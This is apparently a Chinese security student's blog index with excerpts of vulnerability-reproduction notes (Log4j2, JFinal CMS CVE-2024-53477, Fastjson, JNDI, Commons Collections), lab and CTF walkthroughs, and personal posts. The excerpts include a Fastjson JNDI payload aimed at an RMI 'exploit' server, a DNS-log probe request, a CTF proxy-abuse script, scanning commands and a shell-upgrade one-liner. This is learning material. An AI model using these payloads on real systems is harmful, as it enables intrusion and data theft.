168's blog

关于

Wed, 19 Aug 2026 00:00:00 +0000

这里是 168 的博客，使用 Hugo 搭建。

学习记录、日常分享、电子记忆。

欢迎成为我的朋友，一起交换链接。

关于我

你好朋友，可能是我小时候接触计算机比较早的缘故，对计算机产生了兴趣(主要是当时热衷于打游戏，哈哈)，当时网络还不是很普及，网上有一些很屌的技术，然后就对一些网络技术产生了兴趣(一些外挂啥的),当时也自学了一段时间，但是由于年龄和时间的原因，还有接受能力的问题，只是一个小白，后来就开启了考学的生活，接触时间更苛刻了，当时已经调起我的兴趣了。后来高考结束，我选择了信息安全专业，主要接触网络安全，正式开启了我的学习生涯。当然我也有一些爱好，对音乐也比较感兴趣，并且在初三毕业时去学习了吉他，喜欢摇滚，民谣，后朋克，并且到现在一直保持着热爱。当然，我也喜欢游戏，但是现在不玩了(我的内心告诉我不能去玩)，时间的问题。与其他平台博客不一样的，搭建这个博客，主要为了记录不止学习，还有生活上的一些记录，有学习笔记的记录、有生活上的吐槽和感受、有日常图片的分享、有技术上的自己的思考。一切想要分享的都会发布在此站上。这些就是我的介绍和建站的原因，也是我分享生活的方式。很高兴能在这遇见你，我的远方的朋友，祝你前程似锦

关于本站

2023-2026 托管在Halo
2026-至今使用hugo静态托管在GitHub

联系方式

GitHub：https://github.com/t4everup/
邮箱：168@foreverwl.top
QQ: 977105482
RSS 订阅：/index.xml

内容还在慢慢补充中，敬请期待。

log4j2搭建复现探究

Sun, 16 Feb 2025 15:12:14 +0800

前言

log4j2应该是在21年左右爆出来的漏洞，影响甚大，当时只要用了apache log4j的这个组件，那么很可能就存在潜在危险了。之前也遇见过这个漏洞，当时是直接网上一搜直接用的，今天来分析一下这个漏洞。

漏洞简介

Apache log4j是基于java的日志工具。开发者留了递归解析的功能，使用者可以引用配置中的属性，或传递给底层组件并动态解析，然而就在这，导致可能攻击者构造恶意请求，触发rce。

版本影响 2.0 <= Apache log4j <= 2.14.1 需要引入 log4j-api , log4j-core 两个jar

环境搭建

创建maven项目 pom.xml如下

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
 <modelVersion>4.0.0</modelVersion>
 <groupId>org.example</groupId>
 <artifactId>log4j_re</artifactId>
 <packaging>war</packaging>
 <version>1.0-SNAPSHOT</version>
 <name>log4j_re Maven Webapp</name>
 <url>http://maven.apache.org</url>
 <dependencies>
 <dependency>
 <groupId>junit</groupId>
 <artifactId>junit</artifactId>
 <version>3.8.1</version>
 <scope>test</scope>
 </dependency>
 <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
 <dependency>
 <groupId>org.apache.logging.log4j</groupId>
 <artifactId>log4j-api</artifactId>
 <version>2.14.1</version>
 </dependency>
 <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
 <dependency>
 <groupId>org.apache.logging.log4j</groupId>
 <artifactId>log4j-core</artifactId>
 <version>2.14.1</version>
 </dependency>
 <dependency>
 <groupId>org.apache.tomcat.embed</groupId>
 <artifactId>tomcat-embed-core</artifactId>
 <version>9.0.83</version>
 </dependency>


 </dependencies>
 <build>
 <finalName>log4j_re</finalName>
 </build>
</project>

我们创建一个BaseServlet重写 doGet 和doPost

JFinal CMS 5.1.0 命令执行漏洞分析(CVE-2024-53477)

Sun, 29 Dec 2024 11:44:19 +0800

JFinal CMS 5.1.0 命令执行漏洞分析(CVE-2024-53477)

环境搭建

git clone https://github.com/jflyfox/jfinal_cms.git

拉取5.1.0版本。

Tomcat 9.0.96 JDK 17.0.1

漏洞简述

在这个版本，Maven中使用了Fastjson1.2.62版本，该版本存在反序列化漏洞。而正好这个版本存在一个可控的parseObject

漏洞分析

因为是Fastjson漏洞，全局搜索parseObject

我们跟进到com.jflyfox.api.form.ApiForm#getParams

这里对params使用了parseObject，而这个params是p而来的，看p

p就是ApiForm的一个属性。现在找哪里用了getParams

为这几个，继续往上找；发现这几个方法都会在ApiV100Logic或者BaseApiLogic中被调用,且ApiV100Logic继承BaseApiLogic

我们看com.jflyfox.api.service.impl.ApiV100Logic#里面很多方法都能够触发com.jflyfox.api.form.ApiForm#中的get方法,那么就能调用到com.jflyfox.api.form.ApiForm#getParams 现在去找怎么调用到com.jflyfox.api.service.impl.ApiV100Logic#中的方法。

去找controller，去看com.jflyfox.api.controller.ApiController#action的具体实现；

这里很关键，这能返回一个IApiLogic类型的实例，通过反射调用接口；跟进到 ReflectionUtils.invokeMethod

这里通过反射调用方法；我们传入IApiLogic实例然后加一个方法就进入了ApiV100Logic；这里以article为例，

这里调用了ApiForm.getInt

形成闭环了。

{ "@type":"org.apache.xbean.propertyeditor.JndiConverter", "AsText":"rmi://127.0.0.1:1099/exploit"}";

api/action?version=1.0.0&method=article&p=%7B%22%40type%22%3A%22java.net.Inet4Address%22%2C%22val%22%3A%2285p4wv.ceye.io%22%7D

调试过程

国光ssrf靶场--打穿内网

Sat, 09 Nov 2024 05:21:00 +0800

实验4 CSRF/SSRF靶场渗透

前言

因为平时ssrf等靶场不多，这次就搭建一下国光的ssrf打穿内网的靶场。

环境搭建

源码链接：https://github.com/sqlsec/ssrf-vuls 这里我使用docker搭建，主要是方便[selectarget/SSRF_labs: 国光SSRF靶场 docker一键启动 (github.com)](https://github.com/Duoduo-chino/ssrf_vul)

等待即可。。。

搭建成功开始干！

渗透过程

提示ssrf，我们输入一个网站试试。

发现直接跳进来了。

使用file协议，发现可以直接读取

我们读一下网站代码

就是一个很经典的存在ssrf的代码。

读一下/etc/hosts

大概就是上边图片中解释的，那么我们当前访问的服务在内网中就是10.0.0.21。那现在我们可以去探测同网段的其他计算机。

我们先探测一下存活主机：

我们可以通过根据响应时间来判断存活的状态，如果不存活时间会很久。

这里测试为 21 22 23 24 25 26 27 28 29

然后我们就去测试这些主机哪些端口开放，这里使用功能dict协议

存活主机和开放端口

10.0.0.21 80
10.0.0.22 80
10.0.0.23 80
10.0.0.24 80
10.0.0.25 80
10.0.0.26 8080 
10.0.0.27 6379 
10.0.0.28 6379 80
10.0.0.29 3306

2024强网杯部分

Wed, 06 Nov 2024 03:10:00 +0800

xiaohuanxiong

先初始化网站。然后发现是tp5.多版本，但是不知道怎么用

扫一下目录

经过访问各个页面，最后发现/admin/login/index.html可以登录，但是没有账号

扫一下/admin/目录

进入/admin/admins直接就进后台了，直接添加一个管理员

登录后台在支付管理里面可以写代码

bp拦截会显示flag

Proxy

发现是go写的。

路由/v2/api/proxy

实现 HTTP 请求代理，将请求转发到指定的目标 URL。

路由 /v1/api/flag

用来获取flag的

然后审计代码可以知道我们可以通过/v2/api/proxy访问/v1/api/flag就能读到flag了

我们看一下代理配置文件

我们要代理到 http://localhost:8769/v1/api/flag

脚本：

import requests
import json

def get_flag_pro():
 prox_url="http://39.105.114.252:30793/v2/api/proxy"

 headers={
 "Content-Type":"application/json"
 }

 data={
 "url":"http://localhost:8769/v1/api/flag",
 "method":"POST",
 "body":"",
 "headers":{
 "Content-Type":"application/json"
 },
 "follow_redirects":False
 }

 while(1):
 response=requests.post(prox_url,headers=headers,data=json.dumps(data))
 if response.status_code == 200:
 flag= response.json().get("flag")
 print(flag)

get_flag_pro()

初探Fastjson漏洞

Wed, 09 Oct 2024 09:27:15 +0800

fastjson是什么

fastjson是阿里巴巴的开源的JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到Java Bean。

环境搭建

导入依赖这里先演示 1.2.24

 <dependency>
 <groupId>com.alibaba</groupId>
 <artifactId>fastjson</artifactId>
 <version>1.2.24</version>
 </dependency>

Fastjson简单使用

新建一个类

package top.foreverwl.study.fastjson.domain;

/**
 * @program: FastJson
 * @description:
 * @author: 168
 * @create: 2024-09-18 19:35
 **/
public class User {
 private String username;
 private int id ;

 public User(String username,int id) {
 System.out.println("有参构造");
 this.username = username;
 this.id = id;
 }


 @Override
 public String toString() {
 return "User{" +
 "username='" + username + '\'' +
 ", id=" + id +
 '}';
 }

 public String getUsername() {
 return username;
 }

 public void setUsername(String username) {
 this.username = username;
 }

 public int getId() {
 return id;
 }

 public void setId(int id) {
 this.id = id;
 }
}

JSON的toJSONString方法将指定的对象序列化为其等效的 Json 表示形式。我们看一个官方解释

JNDI注入初学习

Tue, 24 Sep 2024 17:08:41 +0800

JNDI注入初学习

JNDI简介

JNDI(Java Naming and Directory Interface)是Java提供的Java命名和目录接口。通过调用JNDI的API可以定位资源和其他程序对象。

也就是说如果程序定义了JNDI的接口，我们则可以通过该接口API访问系统的==命令服务==和==目录服务== JNDI可访问的现有的目录和服务有：JDBC ,LDAP,RMI,DNS,NIS,CORBA

协议	作用
LDAP	轻量级目录访问协议，约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI	JAVA远程远程方法调用注册
DNS	域名服务
CORBA	公共对象请求代理体系结构

Naming Service 命名服务

命名服务就是将名称和对象进行广联，也就是一种映射；我们可以通过名称找到对应的对象的操作。在命名系统中，有几个重要的概念：

==Bindings==：表示一个名称和对应对象的绑定关系，也就是上边提到的。 ==Context==：上下文，一个上下文中对应着一组名称到对象的绑定关系；可以在指定的上下文中查找名称对应的对象。比如在文件系统中，一个目录就是一个上下文，可以在这个目录中查找文件，其中的子目录也可以称为上下文(subcontext)。 ==References==：有些对象可能无法直接存储在系统内，这时候就以引用的形式进行存储，像c语言中的指针。引用中包含了获取的实际对象所需的信息，或者对象的实际状态。

Directory Service 目录服务

目录服务是命名服务的拓展，除了提供名称和对象的关联，还允许对象具有属性。目录服务中的对象称为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。所以我们可以通过名称去查找对象，也能通过属性值去搜索对象。

API

我们上边知道使用目录服务可以集中存储共享信息。在java应用中除了以常规的方式使用名称服务，还可以用目录服务作为对象存储的系统，即用目录服务来存储和获取java对象。例如播放音乐服务，我们可以通过在目录服务中查找播放器，并获取一个播放器的对象，基于这个对象进行实际的服务操作。为此，就有了JNDN，应用通过接口与具体的目录服务进行交互。看下面的图：

实例：通过JNDI进行dns查询

package top.foreverwl.study.demo;

import javax.naming.*;
import javax.naming.directory.*;
/**
 * @program: JNDI2
 * @description:
 * @author: 168
 * @create: 2024-09-24 14:47
 **/
public class JndiDns {
 public static void main(String[] args) throws NamingException {
 DirContext ctx = new InitialDirContext();
 Attributes attrs = ctx.getAttributes("dns:/www.baidu.com", new String[]{"A"});
 System.out.println(attrs.get("A"));
 }
}
//A: 111.206.208.135, 111.206.208.133

Zico2靶场

Mon, 09 Sep 2024 06:42:21 +0800

作业1--Zico2靶场渗透测试

环境搭建

靶机下载地址zico2: 1 ~ VulnHub

攻击机kali IP:192.168.26.128

网络nat即可

渗透过程

信息收集

先找出待测试靶机的ip

namp -sP 192.168.26.0/24

判断192.168.26.132就是靶机的ip。

先访问测试一下。

没问题可以尝试先测试一个这个网站的功能。貌似没有什么有用的功能，那就去看一下开放的端口

nmap -p 1-65535 192.168.26.132

可以看到开放的一些端口，但是暂时没什么用。还回到页面。

这里看到一个参数page，尝试目录穿越包含其他文件读取。

没问题，目录穿越直接就能读取文件了。

暂时不知道网站的目录位置，尝试去扫描一下网站。

┌──(root㉿kali)-[~/dirsearch]
└─# python dirsearch.py -u http://192.168.26.132/ -i 200-399

dbadmin应该是数据库管理后台，需要密码的呢登录，然后用的是phpLiteAdmin v1.9.3，可以尝试去找一下这个版本是否存在公开的漏洞。

存在php远程代码执行漏洞，但是要登录到后台，且需要有写的权限。

尝试爆破密码，直接就出来了admin

可以看看info表

Tue, 30 Jul 2024 12:49:36 +0800

前言

在前段时间省级hw期间，这个漏洞还是暴漏的不少的，并且危害不小；然后就通过这篇文章记录一下关于这个洞的一些细节。

nginx目录穿越

在nginx配置中，有一个关键字autoindex。他的作用就是是否开启目录浏览；也就是是否能看到目录下的文件。

 location /test/ {
 autoindex on; 
 //autoindex off;
 alias /home/;
 }

这里再说明一下关键字root和alias。其实很好区别，看下边的两个例子：

 location /test/ {
 autoindex on; 
 alias /home/;
 }
----------------------------------
 location /test/ {
 autoindex on; 
 root /home/;
 }

第一种访问test时候，当前文件就是在/home下,第二种访问/test时候当前目录是在/home/test下。

然后讲一下这个漏洞，归根就是配置的问题。可能有的工作人员因为粗心等，导致配置出错。

漏洞复现

如果配置/test后边不加/的话我们使用..就会导致访问/home的上一级目录，也就是根目录。

所以配置文件一定要写好，不然会出现不必要的麻烦。如果我们不需要目录浏览功能的话，可以直接在/etc/nginx/sites-avaliable/default配置文件下写上 autoindex on;

IIS目录遍历

在IIS网站属性中，在主目录设置有一个是否开启目录浏览的选项，如果打开访问网站则能看到文件的目录。

漏洞复现

云主机SK/AK泄露利用

Tue, 30 Jul 2024 09:15:20 +0800

前言

昨天看了一份hw报告，其中是对云主机泄露了AK/SK的利用，之前没有接触过。今天来学习记录一下。本文章主要讲理论和一些工具介绍以及如何防护。

介绍

什么是SK/AK

云主机通过Access Key Id / Secret Access Key加密的方法来验证某个请求的发送者身份。其中SK就是Secret Access Key；AK就是Access Key Id 。云SK/AK是用来生成用户和云平台API通信的访问凭证。AK/SK原理使用对称加解密。这样的话，也就是如果我们拿到了AK/SK,我们就有云主机的权限了。

SK/AK泄露

大部分云主机都支持AK/SK认证的方式。用于API的调用，如果导致泄露，那么就能够攻击服务器。

泄露场景

1、报错页面或者debug信息调试。

2、GITHUB关键字、FOFA等。（阿里的已经采取相应的措施）

3、网站的配置文件

4、js文件中泄露

5、源码泄露。APK、小程序反编译后全局搜索查询。

6、文件上传、下载的时候也有可能会有泄露，比如上传图片、上传文档等位置。

7、HeapDump文件。

HeapDump文件泄露

HeapDump文件是JVM虚拟机运行时内存的一个快照，通常用于性能分析等，但是因为其保存了对象、类等相关的信息，如果被泄露也会造成信息泄露。

在生产环境中，需要实时或定期监控服务的可用性。Spring Boot的actuator（健康监控）功能提供了很多监控所需的接口，可以对应用系统进行配置查看、相关功能统计等。

Actuator组件为Spring Boot提供对应用系统的监控和管理的集成功能，可以查看应用配置的详细信息。如果Actuator使用不当或者一些不经意的疏忽，可能造成信息泄露等严重的安全隐患。

解析heapdump工具：wyzxxz/heapdump_tool: heapdump敏感信息查询工具，例如查找 spring heapdump中的密码明文，AK,SK等 (github.com)

APP泄露

有的程序可以在APP中泄露了key等的位置，使用工具可以确定到位置，然后进行访问。

工具：(jdax-gui)https://github.com/skylot/jadx

漏洞利用

阿里提供的OSS图形化管理工具

https://github.com/aliyun/oss-browser

java安全CC6链分析

Thu, 18 Jul 2024 04:09:47 +0800

前言

前面已经分析过了cc1链子，但是这个链子有jdk限制，在Java 8u71以后，这个链子就不能再利用了。主要是因为sun.reflect.annotation.AnnotationInvocationHandler#readObject里面逻辑变换了，没有setValue了。

而这篇文章要分析的是最好用的CC链--cc6；因为CC6不受jdk版本的限制，只要commons collections 小于等于3.2.1，都能够利用这条链子。

分析

上篇文章的最后我放了两条链子，主要是入口点的不同。分别为TransformedMap和LazyMap，而我们今天要学习的CC6就是利用的LazyMap。

LazyMap

//org.apache.commons.collections.map.LazyMap#get 
public Object get(Object key) {
 // create value for key if key is not currently in the map
 if (map.containsKey(key) == false) {
 Object value = factory.transform(key);
 map.put(key, value);
 return value;
 }
 return map.get(key);
 }

 // no need to wrap keySet, entrySet or values as they are views of
 // existing map entries - you can't do a map-style get on them.
}

可以看到在get方法中调用了transform，但是我们AnnotationInvocationHandler的readObject方法中并没有调用get方法。

java安全CC1链分析

Wed, 10 Jul 2024 14:39:04 +0800

1.前言

Apache Commons Collections 是 Apache 软件基金会的一个子项目，提供了许多有用的 Java 集合框架的实现和扩展。它旨在填补 Java 标准类库中集合框架的一些不足，并提供了一系列的集合实现和工具类，以帮助开发者更加方便地处理集合数据。

2.环境准备

影响版本

jdk版本：这里使用8u65版本(8u71之后已修复不可利用) https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

CommonsCollections:这里使用3.2.1 (3.1 - 3.2.1)

 <dependencies>
 <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
 <dependency>
 <groupId>commons-collections</groupId>
 <artifactId>commons-collections</artifactId>
 <version>3.2.1</version>
 </dependency>
 </dependencies>

配置源码

因为jdk自带的包里面有些文件是反编译的.class文件，代码很难读懂，并且调试时候会出现一些问题，我们需要将它转换为.java文件，我们需要安装相应的源码。

下载地址：https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

创建项目

pom.xml导入依赖

sdk设置

到此，准备工作就做完了，下面就开始分析啦。

批量网站sec权重查询小工具

Tue, 04 Jun 2024 12:53:03 +0800

前言

好久没更新文章了0-0，(水篇文章) 最近在努力探究java安全(太难了ww)，还接触了src漏洞挖掘。大多都是0权重的网站，但是有的平台不要0权重的网站，有的平台要。于是就有了个想法，自己写一个网站seo批量查询的脚本工具，脚本不算太难，练练手 hh 为以后漏洞复现打下编写脚本的能力。

[脚本链接] https://github.com/4everwl

简介

使用python3编写的一个批量查询网站权重的小工具。通过批量txt文件，将最终的结果输出为txt文件，目前只包含百度，移动，谷歌相关权重。使用多线程，提高脚本的运行速度。

模块安装

pip install requests

使用方法

python3 domain_check.py txt文件路径

结果会输出到当前目录下的out文件夹内，结果文件命名根据时间命名，更好的判断出文件位置。

注意事项

尽量使用python3.9以上版本运行。有关脚本问题以及src挖掘交流联系email：[email protected]

ipv6小机玩法

Tue, 16 Apr 2024 11:11:43 +0800

前言

前几天免费嫖到了3台只有ipv6的小机，那就玩玩吧- -

第一台使用xui搭建了梯子（网速可以非常稳定）

第二台准备搞一个内网穿透服务，之前没接触过这个，掉了好多坑，最后还好搞定了，最近准备在宿舍搞台windows服务器（垃圾佬折腾），然后到时候内网穿透访问这台windows（windows要有ipv6）

ipv6配置域名解析

首先就是域名解析ipv6，刚开始一直解析不了，后来经过一天的折腾，终于配好了0~0

我这里使用的cloudflare进行解析，开启cdn这样ipv4和ipv6都能访问（还是非常有意思的）。解析记得选择AAAA

这样就能正常访问了

ipv6使用frp进行内网穿透

环境

ipv6服务器 frps

windows frpc

这里主要的问题就是端口的规划和配置文件的编写。

这里使用nginx

sudo apt install nginx

安装frp

FRP服务端一键安装脚本：

wget https://raw.githubusercontent.com/MvsCode/frps-onekey/master/install-frps.sh -O ./install-frps.sh
chmod 700 ./install-frps.sh
./install-frps.sh install

卸载命令：
./install-frps.sh uninstall

更新FRP命令：
./install-frps.sh update

FRP常用命令：
开启FRP
frps start

停止FRP：
Frps stop

重启FRP
frps restart

这里在安装frp向导时候，直接将http端口设置为80 https为443，后边好用，其他都默认即可。

访问后台6443地址记得填写ipv6的地址，正常没有ipv4的机子安装他会给你分配一个ipv4但是我们通过这个地址访问不到6443，我们通过 ipv6:6443 去访问后台

nginx配置

将监听端口改为 9999，因为80，443 我们frp已经占用。

 /etc/nginx/sites-enabled/default

Nodejs vm沙箱逃逸

Tue, 26 Mar 2024 11:25:07 +0800

基本概念

什么是沙箱（sandbox）当我们运行一些可能会产生危害的程序，我们不能直接在主机的真实环境上进行测试，所以可以通过单独开辟一个运行代码的环境，它与主机相互隔离，但使用主机的硬件资源，我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响，而不会影响到主机上的功能，沙箱的工作机制主要是依靠重定向，将恶意代码的执行目标重定向到沙箱内部。

vm模块是nodejs内置的模块。vm模块可以在当前Node.js 进程中创建一个新的沙箱环境，通过该沙箱环境执行用户提供的代码，以防止不安全的操作对主进程产生负面影响，但是这个vm模块的隔离功能并不完善，nodejs提供了第三方模块vm2，提供了更加安全、灵活和自定义的沙箱环境和代码执行功能。

Node将字符串执行为代码

创建一个包含year变量的文件，通过fs模块去读取文件内容，然后用eval函数去执行内容

//year.txt
var year=2024

//1.js
let year=2024
console.log (year)
const fs = require('fs')
let aaa =fs.readFileSync("./year.txt",'UTF-8')
eval(aaa)

可以看到报错了，因为在js中每一个模块都有自己独立的作用域，当前作用域下已经有了year变量

new Function

let year=2024
console.log (year)
// const fs = require('fs')
// let aaa =fs.readFileSync("./year.txt",'UTF-8')
// eval(aaa)
const fun=new Function('year','return year+2')
console.log(fun(year))

这里创建了一个fun的函数，第一个参数也就是形参，第二个参数为函数主体

看了上面的例子，我们如何通过传递字符串就能够将字符串执行为代码并且拥有自己的作用域呢，我们就需要用到vm模版。

Nodejs作用域

我们可以通过require去引入文件，比如我们去引入fs模块require("fs")。每个文件都有自己的作用域，也就是我们再1.js中去require("2.js")，也不能在1.js中直接使用2.js中的变量和函数

//2.js
const age=18

//1.js
let year=2024
console.log (year)
const re= require("./2")
console.log(re.age)

age为undefined

如果想要使用2.js中的属性，node给我们提供了exports。exports是模块公开的接口

有关exports和module.exports的区别

正常对外暴露属性或者方法，使用exports
如需要暴露对象（类似class，包含了很多属性和方法），就使用module.exports

//2.js
exports.age=18
exports.hello=function(){
 console.log("hello")
}

//1.js
let year=2024
console.log (year)
const fun=new Function('year','return year+2')
console.log(fun(year))
const re= require("./2")
console.log(re.age)
re.hello()

Dc_1靶机

Sun, 24 Mar 2024 12:18:23 +0800

靶机环境

网段:192.168.26.0/24 kali：192.168.26.128 网关: 192.168.26.2

找出靶机的ip

nmap -sP 192.168.26.0/24

靶机:192.168.26.129

端口探测

信息收集

先扫一下目录：

python3 dirsearch.py -u http://192.168.26.129

貌似没有有用的文件。

网站指纹识别

whatweb -v 192.168.26.129

可以看到CMS为Drupal，version为7

去找相关的漏洞。这里使用msf进行验证

这里使用这个漏洞进行攻击，

哑shell变交互shell

python -c 'import pty; pty.spawn("/bin/bash")'

第一个flag

提示我们配置文件

第二个flag

java序列化和反序列化基础

Mon, 11 Mar 2024 07:58:23 +0800

1.序列化和反序列化

序列化:对象序列化的最主要的用处就是在传递和保存对象的时候，保证对象的完整性和可传递性。序列化是把对象转换成有序字节流，以便在网络上传输或者保存在本地文件中。核心作用是对象状态的保存与重建。
反序列化:从本地或者网络上获取经过序列化的对象字节流，通过反序列化重建对象。

为什么要进行序列化和反序列化

在jvm运行结束后，创建的对象就消失了，如果想要再次调用之前的对象，我们就可以通过反序列化的方式创建之前的对象，前提是要存储之前对象序列化的字节流文件。
序列化之后为字节流数据，无论原来是什么数据，都变成一样的数据，就可以用通用的格式传输和保存，若要再次使用，直接反序列化还原，对象还是对象，文件还是文件。

2.如何实现序列化和反序列化

我们知道，在php中进行序列化和反序列化提供了函数serialize和unserialize，但是java中并没有这种api。这就要用到java中的IO。

IO 即 Input/Output，输入和输出。数据输入到计算机内存的过程即输入，反之输出到外部存储（比如数据库，文件，远程主机）的过程即输出。数据传输过程类似于水流，因此称为 IO 流。IO 流在 Java 中分为输入流和输出流，而根据数据的处理方式又分为字节流和字符流。

java IO分为文件IO流（FileInput/OutputStream）和对象IO流（ObjectInput/OutputStream）。

ObjectOutputStream类实现对象的序列化流，ObjectInputStream类实现对象的反序列。

我们上边说到序列化是把对象转化为字节流并且保存起来，这个过程就靠java的输出，将对象从java程序以字节流输出到java外部并保存起来，反序列化相反。也就是java中的序列化和反序列化需要开发人员自己去写出实现的过程。

实现java.io.Serializable接口的类（或者java.io.Externalizable）才可被反序列化，否则会抛出异常。

package ser.edu.xcu;
import java.io.Serializable;

public class People implements Serializable {
 int age;
 String name;
 public People(int age,String name){
 this.age=age;
 this.name=name;
 }
}

序列化和反序列化

package ser.edu.xcu;

import java.io.*;

public class Ser {
 public static void serialize(Object obj) throws IOException {
 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
 oos.writeObject(obj);
 }

 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }

 public static void main(String[] args) throws IOException, ClassNotFoundException {
 People p1 = new People(18,"mio");
 System.out.println(p1);
 serialize(p1);
 System.out.println("---序列化完毕---");
 System.out.println("---开始反序列化---");
 People p2= (People) unserialize("ser.txt");
 System.out.println(p2);

 }

}

分析一下时实现过程：

java反射机制

Thu, 22 Feb 2024 14:32:09 +0800

反射概念

JAVA反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性；这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

Class类

在 java 世界里，一切皆对象。从某种意义上来说，java 有两种对象：实例对象和 Class 对象。每个类的运行时的类型信息就是用 Class 对象表示的，它包含了与类有关的信息，实例对象就是通过 Class 对象来创建的。Java 使用 Class 对象执行其 RTTI (运行时类型识别，Run-Time Type Identification)，多态就是基于 RTTI 实现的。

Class类存在于JDK的java.lang包中
Class类也是继承object类
Class类对象是系统创建的（类是Class类的一个对象）
一个类的Class对象只在内存中存在一份，类只需要加载一次（在类加载的时候，jvm会创建唯一的class对象）

获取Class对象

除了int等基本类型外，java的其他类型全都是class。 class的本质是数据类型。

在反射中，我们如果想获取一个类或者调用一个类的方法，需要先获取这个类的Class对象。

而class是由JVM在执行过程中动态加载的。JVM在第一次读取到一种class类型时，将其加载进内存。每加载一种class，JVM就为其创建一个Class类型的实例，并关联起来

类加载:(类加载机制后边再深入学习)

获取方式：

类名.class
对象.getClass()
Class.forName(全限定类名) //什么是全限定类名:包名.类名

forName有两个函数重载

Class forName(String name)
Class forName(String name, boolean initialize, ClassLoader loader)

第一种是常见的获取class的方式，可以理解为第二种方式的一个封装
Class.forName(className)
// 等于
Class.forName(className, true, currentLoader)

第一个参数为类名；第二个参数表示是否初始化；第三个参数为ClassLoader（类加载器）

鼠标改装记录

Tue, 23 Jan 2024 14:13:37 +0800

鼠标改装记录

很早前就计划改一下喽，现在放假了那就改一下吧。

gm3323d改装分享，emm，改装过程中学会了喷漆，焊电路板（之前工程实训学过）,鼠标对我完全够用，下边看成品吧(#.#)

微动:凯华黑金曼巴
编码器:TTC金轮(11mm)
喷漆:三和喷漆
光油:三和哑光油
底漆:pdd随便找的

java基础(一)

Wed, 13 Dec 2023 12:41:51 +0800

前言

java大一学的，学的很水。重学一下，打下基础。

javaEE

javaEE:Java EE平台构建于Java SE平台之上，Java EE平台提供一组API和运行环境来开发和运行大规模的，多层的，可扩展的，可靠的和安全的网络应用程序。主要针对于web应用开发。

java特点

java语言是面向对象的(oop)
java语言是健全的。强类型机制，异常处理，垃圾回收(GC)机制。
java跨平台性。使用javac编译器生成的.class文件在不同操作系统都能够运行。

×
java是解释性语言。解释性语言:php,java,JavaScript 。编译性语言:c/c++

区别:编译语言直接转换为处理器可以执行的机器代码，解释性语言编译后的代码不能被处理器执行，需要解释器来执行。

JVM

java核心机制:java虚拟机(JVM)

jvm具有指令集并使用不同的存储区域。解释指令集(字节码文件)，管理数据，内存，寄存器。
不同的平台有不同的jvm(jvm映射规则不同)
一次编译，处处运行。

JDK

JDK:java开发工具包。是用来编译、调试Java程序的开发工具包。包括Java工具（javac/java/jdb等）和Java基础的类库（java API ）。

JRE

JRE:java运行环境。是Java平台，所有的程序都要在JRE下才能够运行。包括JVM和Java核心类库和支持文件。

关系

JDK = JRE + 开发工具集（例如 Javac,java 编译工具等)

JRE = JVM + Java SE 标准类库（java 核心类库）

面向对象

类与对象

如果说我养了两只猫，他们有不同的特征，比如一个白色的比较可爱，一个黑色比较捣蛋。

Billu_b0x打靶记录

Sun, 26 Nov 2023 14:39:00 +0800

前言

最近有点迷茫，尝试一下学长推荐的一个经典的靶机。ps:第一次打靶机。

准备

这里下载靶机镜像：billu: b0x ~ VulnHub 导入创建靶机后，将网络设置为nat模式，和kali在同一个网段。网段:192.168.26.0/24 kali：192.168.26.26 网关: 192.168.26.2

开始

信息收集

先找出靶机的ip

nmap -sP 192.168.26.0/24

这个192.168.26.133应该就是靶机的ip了。

端口扫描

nmap --min-rate 10000 -p- 192.168.26.133#以最低速率 1w进行端口扫描 -p- 表示扫描所有端口
nmap --min-rate 10000 -p 1-65535 192.168.26.133 #一样效果

可以看到这里开放了22 ssh，和80 http服务。后面可以尝试ssh爆破。这里先访问www服务看看。

这里看到一个登录框，可以存在sql注入漏洞。但是尝试了，并没有发现注入漏洞。

扫目录

看一下后台都有什么文件

可以看到还是有很多的文件的，我们逐个访问测试

解题过程

add.php

python网络编程基础

Sun, 12 Nov 2023 03:28:05 +0800

TCP/IP协议

计算机之前进行网络通信，首先需要双方确认通信所使用的协议，之后才能按照这种协议进行数据的传输。

tcp/ip协议的作用：

TCP/IP是用于因特网(Internet)的通信协议。它是对计算机必须遵守的规则的描述，只有遵守这些规则，计算机之间才能进行通信。

×
IP - 网际协议
TCP - 传输控制协议
UDP - 用户数据报协议

协议	功能用处	端口号	对应模块模块
`HTTP`	网页访问	`80`	`httplib`、`urllib`、`xmlrpclib`
`NNTP`	阅读和张贴新闻文章	`119`	`nntplib`
`FTP`	文件传输	`20`	`ftplib`、`urllib`
`SMTP`	发送邮件	`25`	`smtplib`
`POP3`	接收邮件	`110`	`poplib`
`IMAP4`	获取邮件	`143`	`imaplib`
`Telnet`	命令行	`23`	`telnetlib`
`Gopher`	信息查找	`70`	`gopherlib`、`urllib`

TCP和UDP:

UDP 在传送数据之前不需要先建立连接，远程主机在收到 UDP 报文后，不需要给出任何确认。
适用于一些及时性的服务
TCP 提供面向连接的服务。在传送数据之前必须先建立连接，数据传送结束后要释放连接。
TCP 一般用于文件传输、发送和接收邮件、远程登录等场景。

JavaScript原型链和原型链污染

Thu, 09 Nov 2023 11:06:14 +0800

JavaScript原型链和原型链污染

前置知识

JavaScript中没有引入像类一样的概念，要定义一个类，要以构造函数的方式来定义。

function Foo() {
 this.bar = 1
}
new Foo()

Foo函数的内容，就是Foo类的构造函数，而this.bar就是Foo类的一个属性。

同步和异步:

贴张图，说的很明白了。

什么是原型？

